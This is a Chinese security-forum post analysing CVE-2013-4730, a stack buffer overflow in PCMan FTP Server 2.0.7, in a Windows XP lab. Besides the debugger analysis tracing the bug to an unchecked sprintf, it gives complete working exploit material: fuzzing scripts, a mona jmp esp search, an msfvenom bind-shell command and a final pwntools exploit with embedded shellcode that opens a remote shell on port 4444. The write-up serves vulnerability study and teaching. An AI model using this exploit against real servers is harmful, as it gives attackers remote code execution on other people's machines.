首页
论坛
课程
招聘
[漏洞分析] [缓冲区溢出] [Windows] [原创]PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析
2021-4-13 01:00 3791

[漏洞分析] [缓冲区溢出] [Windows] [原创]PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析

2021-4-13 01:00
3791

PCMan FTP Server缓冲区溢出CVE-2013-4730漏洞分析

目录

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:PCMan FTP Server远程缓冲区溢出
  • 漏洞编号:CVE-2013-4730
  • 漏洞类型:缓冲区溢出
  • 漏洞影响:远程代码执行
  • 利用难度:Easy
  • 详细信息:https://www.exploit-db.com/exploits/26471

2. 软件概述

PCMan FTP Server用于打开ftp服务,用于上传文件和管理有线及无线设备的软件

二、漏洞复现

1. 环境搭建

  • 靶机环境:Windows xp sp3
  • 靶机配置:

    • PCMan FTP Server 2.0.7
    • windbg
    • mona
  • 攻击机:kali 2.0

  • 攻击机配置:
    • pwntools
    • metasploit

2. 复现过程

在靶机中运行PCMan FTP,确保21号端口已打开,用windbg附加程序

 

 

由漏洞的exploit可以得知USER字段存在溢出漏洞,编写poc并在 kali 中运行测试

1
2
3
4
5
6
7
8
from pwn import *
context(log_level="debug")
io = remote("192.168.112.146", 21)
print(io.recv())
#使用pwntools的cyclic函数构造唯一子串序列
fuzz = flat("USER ", cyclic(8000))
io.sendline(fuzz)
print(io.recv())

windbg查看pcman ftp的运行状态,发现eip指向了0x7561617a非法地址,程序崩溃

 

 

观察栈帧结构,栈已被poc发送的数据填满,可以确定存在缓冲区溢出漏洞

 

三、漏洞分析

1. 背景知识

最简单的缓冲区溢出,分析这个漏洞主要熟悉一下用windbg进行栈回溯

2. 分析思路

思路一

ftp作为网络通信协议,客户端与浏览器进行交互使用socket,那么一定使用了recv()函数,在windbg中对recv()函数下断点,发送poc并单步跟踪,能够找到漏洞函数

思路二

栈回溯:在触发漏洞的内存地址下断点,触发漏洞时观察栈帧的结构,能够找到漏洞函数的地址。这是本文分析使用的方法

3.详细分析

查看触发栈溢出漏洞时的栈帧结构,那么溢出的数据就不能覆盖函数返回地址,就要确定返回地址的位置:发送poc后,eip指向返回地址0x7561617a

 

 

在利用pwntools的cyclic_find()函数查看0x7561617a在唯一子串序列中的位置,可以确定返回地址在序列的位置为2000(这也是为什么poc使用cyclic生成字符串的原因)

 

 

重新发送poc字符串

1
fuzz = flat("USER ", cyclic(2000), 'aaaa')

 

此时返回地址已被‘aaaa’覆盖,令进程在覆盖返回地址之前断下,选择栈中返回地址之前设置硬件条件断点,这里我选择0x0012ed98

1
ba w4 0x0012ed98 ".if(poi(0x0012ed98)==0x74616174){}.else{gc}"

重新发送poc后进程在0x004173af出断下,kb查看栈信息

 

 

栈回溯,利用IDA查看造成缓冲区赋值的函数

 

0x00417428处函数write_char(),向指针地址写入一个字节的数据,地址赋值不可能只写一个字节,一定有一个函数循环调用write_char()

 

 

上一层0x00412ced,sprintf函数,继续返回上一层0x00403EE6,即sub_403E60()函数

 

 

这里使用sprintf向Buffer缓冲区赋值

 

sprintf第二个参数aDDD02d02d05dSS是格式化格式%d/%d/%d [%02d:%02d] (%05d) %s> %s

 

格式化参数v5是int类型,a2是函数参数char *类型

 

猜想:是没有控制用户的输入长度,直接将字符串a2复制到局部变量缓冲区buffer导致栈溢出

 

验证,在.text:00403EE6 E8 D4 ED 00 00 call _sprintf设置断点,查看参数a2

 

 

查看0012edc4的值,确定是用户的输入字符串,猜想正确

 

 

这里格式化获取系统时间,并将数据写入文件,可能是为了记录信息到日志中,查看PCMan ftp的日志文件,更加确认了我们的猜想

 

 

四、漏洞利用

1. 利用条件

靶机windows xp sp3关闭DEP保护,使栈上的数据可执行

2. 利用过程

2.1 排除坏字符

利用mona插件生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可

1
!py mona bytearray -b "\x00\x0a\0d"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(log_level="debug")
 
bytearray = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22"
"\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42"
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62"
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82"
"\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2"
"\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2"
"\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
 
io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 'aaaa', bytearray)
io.sendline(payload)
print(io.recv())

2.2 查找jmp esp命令

使进程跳转到栈中执行用jmp esp指令,查询加载模块中jmp esp的地址,机器码 \xff\xe4

1
!py mona find -s "\xff\xe4" -m

选择一个拥有可执行权限EXECUTE的地址

 

2.3 生成shellcode

利用metasploit生成windows反弹shell的shellcode,开放本地端口4444,排除坏数据’\x00\x0a\x0d’,以py格式输出,同时开头由0x20个nop作为滑板

1
msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d'  -n 0x20 -f py

2.4 编写exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(log_level="debug")
 
buf =  b""
buf += b"\x92\x40\x9f\x93\x91\x93\x41\x49\x4a\x37\x3f\x9b\x93"
buf += b"\x43\x4a\xf9\x4a\x91\x42\x9f\x49\x41\xf8\x9f\xf5\x4a"
buf += b"\x92\xfd\x98\x92\x93\x41\xba\x73\xe1\xfa\x7e\xdb\xdb"
buf += b"\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\x83\xe8\xfc\x31"
buf += b"\x50\x0e\x03\x23\xef\x18\x8b\x3f\x07\x5e\x74\xbf\xd8"
buf += b"\x3f\xfc\x5a\xe9\x7f\x9a\x2f\x5a\xb0\xe8\x7d\x57\x3b"
buf += b"\xbc\x95\xec\x49\x69\x9a\x45\xe7\x4f\x95\x56\x54\xb3"
buf += b"\xb4\xd4\xa7\xe0\x16\xe4\x67\xf5\x57\x21\x95\xf4\x05"
buf += b"\xfa\xd1\xab\xb9\x8f\xac\x77\x32\xc3\x21\xf0\xa7\x94"
buf += b"\x40\xd1\x76\xae\x1a\xf1\x79\x63\x17\xb8\x61\x60\x12"
buf += b"\x72\x1a\x52\xe8\x85\xca\xaa\x11\x29\x33\x03\xe0\x33"
buf += b"\x74\xa4\x1b\x46\x8c\xd6\xa6\x51\x4b\xa4\x7c\xd7\x4f"
buf += b"\x0e\xf6\x4f\xab\xae\xdb\x16\x38\xbc\x90\x5d\x66\xa1"
buf += b"\x27\xb1\x1d\xdd\xac\x34\xf1\x57\xf6\x12\xd5\x3c\xac"
buf += b"\x3b\x4c\x99\x03\x43\x8e\x42\xfb\xe1\xc5\x6f\xe8\x9b"
buf += b"\x84\xe7\xdd\x91\x36\xf8\x49\xa1\x45\xca\xd6\x19\xc1"
buf += b"\x66\x9e\x87\x16\x88\xb5\x70\x88\x77\x36\x81\x81\xb3"
buf += b"\x62\xd1\xb9\x12\x0b\xba\x39\x9a\xde\x57\x31\x3d\xb1"
buf += b"\x45\xbc\xfd\x61\xca\x6e\x96\x6b\xc5\x51\x86\x93\x0f"
buf += b"\xfa\x2f\x6e\xb0\x15\xec\xe7\x56\x7f\x1c\xae\xc1\x17"
buf += b"\xde\x95\xd9\x80\x21\xfc\x71\x26\x69\x16\x45\x49\x6a"
buf += b"\x3c\xe1\xdd\xe1\x53\x35\xfc\xf5\x79\x1d\x69\x61\xf7"
buf += b"\xcc\xd8\x13\x08\xc5\x8a\xb0\x9b\x82\x4a\xbe\x87\x1c"
buf += b"\x1d\x97\x76\x55\xcb\x05\x20\xcf\xe9\xd7\xb4\x28\xa9"
buf += b"\x03\x05\xb6\x30\xc1\x31\x9c\x22\x1f\xb9\x98\x16\xcf"
buf += b"\xec\x76\xc0\xa9\x46\x39\xba\x63\x34\x93\x2a\xf5\x76"
buf += b"\x24\x2c\xfa\x52\xd2\xd0\x4b\x0b\xa3\xef\x64\xdb\x23"
buf += b"\x88\x98\x7b\xcb\x43\x19\x8b\x86\xc9\x08\x04\x4f\x98"
buf += b"\x08\x49\x70\x77\x4e\x74\xf3\x7d\x2f\x83\xeb\xf4\x2a"
buf += b"\xcf\xab\xe5\x46\x40\x5e\x09\xf4\x61\x4b"
 
io = remote("192.168.112.146", 21)
print(io.recv())
payload = flat("USER ", cyclic(2000), 0x77f8b227, buf)
io.sendline(payload)
print(io.recv())

在攻击机发送exploit,连接靶机4444端口成功

 

五、参考文献

  • https://www.exploit-db.com/exploits/26471
  • https://www.cnblogs.com/cnsec/p/13286514.html

第五届安全开发者峰会(SDC 2021)议题征集正式开启!

最后于 2021-4-13 09:13 被mb_uvhwamsn编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 1756
活跃值: 活跃值 (677)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
caolinkai 活跃值 2021-5-8 09:59
2
0
支持下哦
游客
登录 | 注册 方可回帖
返回